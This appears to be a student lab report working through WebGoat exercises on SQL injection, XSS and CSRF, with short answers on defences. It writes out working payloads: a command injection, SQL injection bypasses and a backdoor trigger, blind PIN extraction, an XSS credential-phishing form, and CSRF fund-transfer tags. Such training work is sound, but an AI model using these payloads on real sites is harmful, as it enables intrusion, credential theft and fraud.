Exp9 Web安全基础
一、实验目标
-
实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)
-
Webgoat实践下相关实验
二、实验内容
0.WebGoat准备工作
-
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。其运行在带有java虚拟机的平台之上,并提供了一系列web安全学习的教程,来指导用户利用这些漏洞进行攻击。
-
想要使用webGoat必须要Java SE8的支持,否则浏览器会缺失很多内容
-
在官网下载
jdk-8u251-linux-x64.tar.gz
, -
参考Kali-JDK1-8安装进行环境配置,配置好截图如下:
-
下载jar包
-
进入该文件的目录下,输入指令
java -jar webgoat-container-7.0.1-war-exec.jar
运行Webgoat, -
结尾出现信息:
Starting ProtocolHandler ["http-bio-8080"]
说明开启成功,可以看到webgoat占用8080端口。 -
注:实验过程中不能关闭此终端。
-
如果被占用,输入指令
netstat -tupln | grep 8080
查看8080端口。用kill
进程号终止占用8080端口的进程。 -
在浏览器中输入
http://localhost:8080/WebGoat
进入WebGoat登录界面,直接用默认用户名密码登录即可。
- 左侧显示课程。
(一)SQL注入攻击
SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
1.命令注入(Command Injection)
-
目标:能够在目标主机上执行任何系统命令。
-
点击左侧栏中
Injection Flaws
->Command Injection
,右击复选框,选择Inspect Element
审查网页元素对源代码进行修改,点击下方标蓝的向右箭头,使内容显示出来,双击AccessControlMatrix.help
,在末尾添加"& netstat -an & ipconfig"
。
- 点击上方复选框右侧的View,看到网络端口使用情况和 IP 地址(自己kali的IP),攻击成功。
2.数字型SQL注入(Numeric SQL Injection)
-
目标:显示天气情况。
-
点击
Injection Flaws
->Numeric SQL Injection
, -
右击复选框
Columbia
,选择Inspect Element
审查网页元素对源代码value="101"
进行修改,在城市编号101
后面添加or 1=1
。
- 点击
Go
,攻击成功。
3.日志欺骗(Log Spoofing)
-
目标:使用户名为
admin
的用户在日志中显示成功登录。 -
点击
Injection Flaws->Log Spoofing
, -
在
User Name
中填入webgoat%0d%0aLogin Succeeded for username: zc5201
,利用回车0D%
和换行符%0A
让其在日志中两行显示。 -
密码为默认值,点击
Login
,可以看到webgoat在Login Fail
那行显示,自己添加的zc5201
语句在下一行显示。
4.字符串型注入(String SQL Injection)
-
目标:基于查询语句构造自己的SQL注入字符串,将所有信用卡信息显示出来。
-
点击
Injection Flaws
->String SQL Injection
,输入查询的用户名zc' or 1=1--
,使用'提前闭合""
,插入永真式1=1
,且--
注释掉后面的内容,这样就能select表里面的所有数据。
5.LAB: SQL Injection
-
目标:使用SQL注入绕过认证。
-
点击
Injection Flaws
->LAB:SQL Injection
,在密码框输入' or 1=1 --
,登录失败
,会发现密码只有一部分输入,说明密码长度有限制。 -
右击
Password
,选择Inspect Element
审查网页元素对可输入密码长度进行修改。
-
重新输入
' or 1=1 --
,登录成功。 -
登录时选择
employee
或admin
会显示不同。前者只显示自己,后者可显示所有人。
6.数据库后门(Database Backdoors)
-
数据库通常作为一个Web应用程序的后端来使用,此外,它也用来作为存储的媒介。它也可以被用来作为存储恶意活动的地方,如触发器。
-
触发器是在数据库管理系统上调用另一个数据库操作,如
insert,select
,update or delete
。攻击者可以创建一个触发器,该触发器在创建新用户时,将每个新用户的Email 地址设置为攻击者的地址。 -
点击
Injection Flaws
->Database Backdoors
,在User ID处
输入101
,得到该用户的信息。可以发现,输入的语句没有验证,很容易进行 SQL 注入。
- 在
User ID
处输入注入语句101; update employee set salary=10000
,这里执行了两个语句,中间需要用分号分隔。
- 在
User ID
处输入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid
设置触发器。
7.数字型盲注入(Blind Numeric SQL Injection)
-
某些SQL注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语句。
-
服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN 数值。尽管如此,我们可以利用系统后台在用的查询语句SELECT * FROM user_data WHERE userid=accountNumber;,如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。
-
使用AND函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐号有效,否则无效。点击
Injection Flaws
->Blind Numeric SQL Injection
。 -
输入
101 AND 1=1
,两个条件都成立,所以页面返回Account number is valid
;
- 输入
101 AND 1=2
,返回帐号无效。
-
现在针对查询语句的后半部分构造复杂语句。下面的语句可以告诉我们PIN数值是否大于10000:
-
输入
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
- 不断调整数值,可以缩小判断范围,并最终判断出PIN 数值的大小。最终如下语句返回帐号有效:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
,说明`2364``为正确PIN值。
8.字符串型盲注入(Blind String SQL Injection)
-
目标:找到pins表中cc_number字段值为4321432143214321的记录中pin字段的数值。pin字段类型为varchar。输入找到的数值(最终的字符串,注意拼写和大写)并提交。
-
点击
Injection Flaws
->Blind String SQL Injection
,输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );
,使用SUBSTRING
方法,取得pin 字段数值的第一个字母,并判断其是否比字母“H”小。
-
经过多次测试,比较
0-9
、A-Z
、a-z
等字符串和页面的返回数据,判断出第一个字符为J
。 -
同理继续判断第二个字符,输入
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'h' );
。
- 最终,判断出pin字段的值为
Jill
,提交该值。
(二)XSS攻击
1.Phishing with XSS
-
在XSS的帮助下实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。目标是创建一个form,要求填写用户名和密码。
-
脚本代码如下:
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>
- 在显示的表单中输入用户名和密码,登录后WebGoat会将输入的信息捕获并反馈给我们。
2.Stored XSS Attacks
-
常见于论坛等留言、用户留言创建非法的消息内容,输入一段JavaScript脚本,其被保存在数据库中,任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行,可以导致其他用户访问非预期的页面或内容。
-
点击
XSS
- >Stored XSS Attacks
,在Title中任意输入123
,留言板Message
中输入<script>alert("I am zc5201,You have been attacked!");</script>
。 -
点击
Submit->
标红的zc
,攻击成功。
3.Reflected XSS Attacks
-
XSS反射型攻击,恶意代码并没有保存在目标网站,通过使用攻击脚本创建一个URL,并将其发布到另一个网站,通过电子邮件引诱用户点击,实施攻击。
-
点击
XSS
- >Reflected XSS Attacks
,在Enter your three digit access code
中输入<script>alert(" 20175201zc");</script>
。
- 点击
Purchase
,成功显示警告框,内容为我们script脚本指定的内容。
(三)CSRF攻击
1.Cross Site Request Forgery(CSRF)
-
CSRF通过伪装来自受信任用户的请求来利用受信任的网站。目标:向一个新闻组发送一封邮件,邮件中包含一张图片,这个图像的URL指向一个恶意请求。
-
点击
XSS
->Cross Site Request Forgery(CSRF)
, -
查看右下方
Parameters
中的scr
和menu
值为297
和900
。
-
在Message框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=297&menu=900&transferFunds=5201" width="1" height="1" />
-
点击
Submit
提交,在Message List
中生成以Title命名的链接
。点击该链接,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。
2.CSRF Prompt By-Pass
- 点击
XSS
- >CSRF Prompt By-Pass
,查看下方Parameters
中的scr
和menu
值为317和900。
- 输入任意Title,在Message中输入
<iframe src="attack?Screen=317&menu=900&transferFunds=5201"> </iframe>
<iframe src="attack?Screen=317&menu=900&transferFunds=CONFIRM"> </iframe>
- 点击
Submit
生成以Title命名的链接
,点击链接,攻击成功。
三、回答问题
(1)SQL注入攻击原理,如何防御
-
攻击原理:SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
-
SQL注入威胁表现形式可以体现为以下几点:
●绕过认证,获得非法权限
●猜解后台数据库全部的信息
●注入可以借助数据库的存储过程进行提权等操作
- SQL注入攻击的典型手段
●判断应用程序是否存在注入漏洞
●收集信息、并判断数据库类型
●根据注入参数类型,重构SQL语句的原貌
●猜解表名、字段名
●获取账户信息、攻击web或为下一步攻击做准备
防御措施:使用正则表达式过滤传入的参数,字符串过滤,jsp中调用该函数检查是否包函非法字符。
(2)XSS攻击的原理,如何防御
-
攻击原理:XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。
-
防御措施:HttpOnly防止劫取Cookie;输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如<、>、'、"等,如果发现存在特殊字符,则将这些字符过滤或者编码。
(3)CSRF攻击原理,如何防御
-
攻击原理:CSRF攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统,类似于钓鱼。如用户当前已经登录了邮箱,或bbs,同时用户又在使用另外一个,已经被你控制的站点,我们姑且叫它钓鱼网站。这个网站上面可能因为某个图片吸引你,你去点击一下,此时可能就会触发一个js的点击事件,构造一个bbs发帖的请求,去往你的bbs发帖,由于当前你的浏览器状态已经是登陆状态,所以session登陆cookie信息都会跟正常的请求一样,纯天然的利用当前的登陆状态,让用户在不知情的情况下,帮你发帖或干其他事情。
-
防御措施:验证HTTP Referer字段;在请求地址中添加token并验证;在HTTP头中自定义属性并验证。
四、实验体会
这次做的实验数量比较多,但做完感觉原理大同小异。由于在上个实验接触过SQL和XSS了,所以这一次更加深了对他们攻击的理解。XSS涉及到web编程很多的内容,也算是个回顾,有不少收获。